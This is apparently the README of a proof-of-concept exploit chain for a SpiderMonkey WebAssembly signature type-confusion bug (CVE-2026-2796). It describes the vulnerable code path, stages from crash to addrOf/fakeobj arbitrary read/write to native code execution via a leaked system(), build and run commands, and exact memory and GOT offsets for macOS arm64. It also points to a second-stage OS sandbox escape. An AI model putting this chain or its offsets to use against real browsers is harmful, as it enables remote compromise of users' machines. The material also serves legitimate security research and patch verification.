
PoC exploit chain for CVE-2026-2796: SpiderMonkey WebAssembly sandbox escape (signature type confusion -> arbitrary R/W -> RCE)
Proof-of-concept exploit chain for CVE-2026-2796, a JIT miscompilation / type-confusion in Mozilla SpiderMonkey's WebAssembly import optimization ("JavaScript: WebAssembly" component). A crafted wasm module obtains arbitrary read/write of the entire host process and arbitrary native code execution, escaping the WebAssembly sandbox.
e2acef67 ("Bug 2013165 - Fix import optimization")When a wasm module imports a JS function, SpiderMonkey applies an optimization
in MaybeOptimizeFunctionCallBind (js/src/wasm/WasmInstance.cpp) that
unwraps imports of the form Function.prototype.call.bind(fn) and stores fn
directly as the import's callable. It failed to check whether the bound value
is itself a :
+ if (boundThis.toObject().is<JSFunction>() &&
+ boundThis.toObject().as<JSFunction>().isWasm()) {
+ return nullptr;
+ }
With the check missing, the import is treated as an originally-wasm
function: the JS wrapper — and with it the signature check — is skipped.
A wasm function can therefore be invoked through a declared import type that
does not match its real type. Values pass through unchanged in registers;
only their interpretation changes (e.g. an attacker-controlled i64 is
used as a (ref $t) GC pointer, and vice versa).
| File | Stage | Result |
|---|---|---|
poc-crash.js | Signature confusion | i64.const 0xDEADBEEF dereferenced as a funcref pointer → SIGSEGV at 0xdeadbf2f |
poc-addrof.js | addrOf + fakeobj | Confusion both directions (i64 ↔ (ref $t)) → fake WasmArrayObject (numElements_ @+16, data_ @+24, inline elements @+40) → arbitrary R/W anywhere in the process |
poc-recon.js | Layout recon | JSFunction native ptr @+0x20 → binary base leak; WasmFuncRef typeDef ptr @+0x40 |
poc-forge.js | Control flow | Forged funcref passes the call_ref type check; call target loaded from [funcref+0x38] |
poc-rce.js | Code execution | Forged funcref → system("touch /tmp/CVE-2026-2796-PWNED") via leaked system() (binary base + GOT entry @ base+0x11d47b0) |
The confusion primitive is obtained exactly as in Mozilla's own regression
test (js/src/jit-test/tests/wasm/regress/bug2013165.js): import
Function.prototype.call.bind(wasmExport) into a second module whose import
declaration carries a different signature, then ref.func + call_ref.
# Firefox source @ 2fbc0748c460b38fc95407a3f14c41d12fb12026 (2026-01-14,
# Firefox 148 nightly — predates the fix). Any pre-148 revision works.
cd js/src
../../configure --enable-debug --enable-optimize --without-intl-api \
--enable-project=js # objdir e.g. js/src/_obj
cd _obj && make -j8
# binary: dist/bin/js (reports "JavaScript-C149.0a1")
JS=/path/to/dist/bin/js
$JS poc/poc-crash.js # SIGSEGV at 0xdeadbf2f
$JS poc/poc-addrof.js # prints [+] arbitrary read OK / write OK
$JS poc/poc-recon.js # dumps JSFunction / WasmFuncRef memory
$JS poc/poc-forge.js # crashes with PC = planted canary
rm -f /tmp/CVE-2026-2796-PWNED
$JS poc/poc-rce.js # creates /tmp/CVE-2026-2796-PWNED via system()
On a patched build (Firefox ≥ 148), poc-crash.js instead throws
TypeError: bad type — the signature check is restored.
Offsets are for macOS arm64 (js shell, this exact revision/build flags):
WasmArrayObject { +16 numElements, +24 data_, +40 inline data },
JSFunction native @ +0x20, WasmFuncRef { +0x40 typeDef, +0x38 call
target }. They are empirically validated at runtime by the PoCs' self-tests;
other builds/architectures need re-derivation (the recon PoC automates most
of it). No PAC on arm64 (non-arm64e) binaries; JIT regions are not writable
at call time, so the chain hijacks an existing call target instead of
injecting code.
See docs/full-escape.md for the stage-2 analysis: escaping the OS sandbox from renderer code execution via CVE-2026-2768 (Bug 2014101, parent-process IndexedDB OOB write) — the "second bug" of a complete Firefox compromise. The vulnerable tree used here predates that fix as well.
This escapes the wasm engine sandbox (linear-memory / GC confinement) and yields native code execution in the current process. In a real browser attack this lands inside the Firefox content process; escaping the OS sandbox (the "second bug": IPC confusion or kernel exploit) is a separate problem and is not part of this PoC.
javascript.options.wasm=false blocks the trigger vector.For security research, education, and defensive testing only. The vulnerability is patched in current Firefox/Thunderbird releases. Do not use against systems you do not own or have explicit authorization to test.